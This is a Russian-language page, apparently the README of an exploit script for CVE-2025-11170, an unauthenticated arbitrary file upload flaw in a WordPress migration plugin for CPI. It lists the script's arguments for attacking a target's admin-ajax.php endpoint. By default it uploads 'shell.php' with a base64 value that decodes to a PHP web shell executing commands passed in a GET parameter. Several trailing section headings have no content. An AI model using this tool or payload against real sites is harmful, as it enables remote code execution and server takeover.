CVE-2025-11170

WP移行専用プラグイン for CPI <= 1.0.2 - Неаутентифицированная произвольная загрузка файлов

🚀 WP移行専用プラグイン for CPI <= 1.0.2 - Неаутентифицированная произвольная загрузка файлов

📝 Описание

Плагин WP移行専用プラグイン for CPI для WordPress уязвим к произвольной загрузке файлов из-за отсутствия проверки типа файла в функции Cpiwm_Import_Controller::import во всех версиях до 1.0.2 включительно.
Это позволяет неаутентифицированным злоумышленникам загружать произвольные файлы на сервер уязвимого сайта, что потенциально может привести к удаленному выполнению кода.

🛡️ Детали уязвимости

CVE: CVE-2025-11170
CVSS Score: 9.8 (Critical)
Вектор атаки: Неаутентифицированная удаленная загрузка файлов

⚡ Информация о скрипте

Имя скрипта: CVE-2025-11170.py

Аргумент	Описание
`-u`, `--url`	Базовый URL цели (например, `http://target.com/wordpress/`). Скрипт автоматически добавляет `wp-admin/admin-ajax.php`.
`-f`, `--filename`	Имя загружаемой оболочки или файла. По умолчанию: `shell.php`
`-d`, `--data`	Содержимое файла в base64 (или в виде обычного текста). По умолчанию: `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`
`-i`, `--index`	Значение поля index. По умолчанию: `0`
`-H`, `--headers`	Дополнительные HTTP-заголовки (формат: `X-Key:Value;K2:Value2`)
`-t`, `--timeout`	Таймаут HTTP-запроса (сек). По умолчанию: `10`
`--retries`	Количество повторных попыток. По умолчанию: `3`
`--backoff`	Коэффициент задержки между повторными попытками (сек). По умолчанию: `0.7`
`-v`, `--verbose`	Увеличение подробности вывода для отладки (повторяемый параметр)

CVE-2025-11170

Популярное

🔧 Использование

Аргументы

🚦 Описание методов

💡 Пример использования

🚨 Отказ от ответственности

📢 Контакты